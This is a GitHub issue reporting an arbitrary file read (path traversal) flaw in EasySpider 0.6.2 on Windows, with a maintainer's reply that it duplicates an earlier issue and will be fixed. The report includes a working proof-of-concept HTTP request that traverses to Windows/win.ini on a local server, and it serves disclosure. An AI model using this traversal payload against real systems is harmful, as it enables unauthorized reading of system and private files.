Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

#

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Jump to bottom

EasySpider Version 0.6.2 Windows 存在任意文件读取漏洞 #504

Closed
ewfubwefwe opened this issue Aug 8, 2024 · 1 comment
Closed

EasySpider Version 0.6.2 Windows 存在任意文件读取漏洞 #504

ewfubwefwe opened this issue Aug 8, 2024 · 1 comment

Comments

@ewfubwefwe
Copy link

GET /../../../../../../../../../Windows/win.ini HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Host: localhost:8074

image
image
@NaiboWang
Copy link
Owner

NaiboWang commented Aug 10, 2024 •
edited
Loading

参考：#466

新版本中会修复此BUG。

# for free to join this conversation on GitHub. Already have an account? # to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
2 participants
@NaiboWang @ewfubwefwe